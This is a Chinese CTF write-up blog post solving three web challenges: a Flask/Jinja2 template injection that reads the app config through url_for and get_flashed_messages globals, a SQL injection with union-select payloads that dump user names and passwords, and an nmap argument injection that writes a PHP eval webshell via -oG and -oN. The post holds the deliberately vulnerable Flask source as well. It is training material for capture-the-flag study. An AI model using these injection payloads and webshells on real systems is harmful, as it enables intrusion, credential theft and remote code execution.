当前位置:网站首页>CTF-WEB shrine模板注入nmap的基本使用
CTF-WEB shrine模板注入nmap的基本使用
2022-07-07 05:07:00 【_s1mple】
[WesternCTF2018]shrine
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{ {% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
打开题目源码长这样 一点都不整齐 需要我们手动去修改,整理过后
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{ {% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
代码审计 代码中给出了两个路由,第一个是用来显示源代码的
第二个路由在/shrine/路径下提交参数,模板中设定{ {}}包括的内容为后端变量,
app.config['FLAG'] = os.environ.pop('FLAG')
app.config['FLAG'] = os.environ.pop('FLAG')
表示注册了一个名为FLAG的config,可能就是flag,如果没有过滤config,可以{
{config}}即可查看所有app.config内容,
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
上面这行代码把黑名单的东西遍历并设置为空
比如这一题的config和self.dict
但是Python还有一些内置函数,比如url_for和get_flashed_messages
得到6
正常情况下 会试着先传入 config 或者传入self.dict

在这里插入图片描述
但是得到的是none 还有一个不回显
使用 /shrine/{ {url_for.globals}}

看到current_app意思是当前app,呢我们就当前app下的config
/shrine/{ {url_for.globals[‘current_app’].config}}
第二种方法:
get_flashed_messages
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
**/shrine/{
{get_flashed_messages.__globals__['current_app'].config}}**
得到flag
[SWPU2019]Web1
首先进行注册 登陆后发现可以申请发布公告
在测试输入1;的时候 发现
使用我的fuzz字典爆破
长度为321的全部都是被过滤的 发现过滤的不少 、
发现是报错注入
直接上payload
#group by获取列数
-1'/**/group/**/by/**/22,'11
#查看版本
-1'/**/union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#获取表名
-1'/**/union/**/select/**/1,
(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum
ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
,19,20,21,'22
#获取用户名
-1'/**/union/**/select/**/1,
(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele
ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
#获取密码
-1'/**/union/**/select/**/1,
(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele
ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22[网鼎杯 2020 朱雀组]Nmap
这个题目还是很有意思的 考察了nmap的使用
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
ping 127.0.0.1
nmap 的-oG命令可以实现代码的写入,这里就构造payload
' <?php @eval($_POST["cmd"]);?> -oG H0ne.php '但是回显hacker 说明被黑名单了 fuzz测试 发现过滤了php
百度发现 <? 可以用<?php进行绕过
利用phtml来代替php的后缀
最终的payload是
' <?= @eval($_POST["cmd"]);?> -oG H0ne.phtml '
发现上传上去了
通过蚁剑连接 就可以得到flag
得到回显
第二种方法:
nmap还有-oN功能
nmap -oN H0ne.txt
构造:
’ -oN H0ne.txt ’

发现文件写入成功
然后写入php 用一句话木马 连接进去即可
' -oN H0ne.phtml <?=eval($_POST['cmd']); ?> '
边栏推荐
- [matlab] when matrix multiplication in Simulink user-defined function does not work properly, matrix multiplication module in module library can be used instead
- Niu Mei's mathematical problem --- combinatorial number
- Blob object introduction
- 调用 pytorch API完成线性回归
- QT learning 26 integrated example of layout management
- Paddlepaddle 29 dynamically modify the network structure without model definition code (relu changes to prelu, conv2d changes to conv3d, 2D semantic segmentation model changes to 3D semantic segmentat
- Thinkcmf6.0安装教程
- MySQL multi column index (composite index) features and usage scenarios
- 王爽 《汇编语言》之寄存器
- LeetCode简单题之字符串中最大的 3 位相同数字
猜你喜欢

Network learning (II) -- Introduction to socket

Linux server development, redis source code storage principle and data model

2022 tea master (intermediate) examination questions and mock examination

【数字IC验证快速入门】11、Verilog TestBench(VTB)入门

Notes on PHP penetration test topics

Hisense TV starts the developer mode

The zblog plug-in supports the plug-in pushed by Baidu Sogou 360

Real time monitoring of dog walking and rope pulling AI recognition helps smart city

QT learning 26 integrated example of layout management

互动送书-《Oracle DBA工作笔记》签名版
随机推荐
Who has docker to install MySQL locally?
Linux server development, MySQL cache strategy
Complete linear regression manually based on pytoch framework
Relevant data of current limiting
Leetcode 40: combined sum II
buureservewp(2)
Codeforce c.strange test and acwing
Complex network modeling (I)
[matlab] when matrix multiplication in Simulink user-defined function does not work properly, matrix multiplication module in module library can be used instead
The element with setfieldsvalue set is obtained as undefined with GetFieldValue
QT learning 26 integrated example of layout management
ZCMU--1492: Problem D(C语言)
数据库实时同步利器——CDC(变化数据捕获技术)
微信小程序基本组件使用介绍
Rust versus go (which is my preferred language?)
Ansible
Linux server development, MySQL index principle and optimization
【數字IC驗證快速入門】15、SystemVerilog學習之基本語法2(操作符、類型轉換、循環、Task/Function...內含實踐練習)
面试题(CAS)
通俗易懂单点登录SSO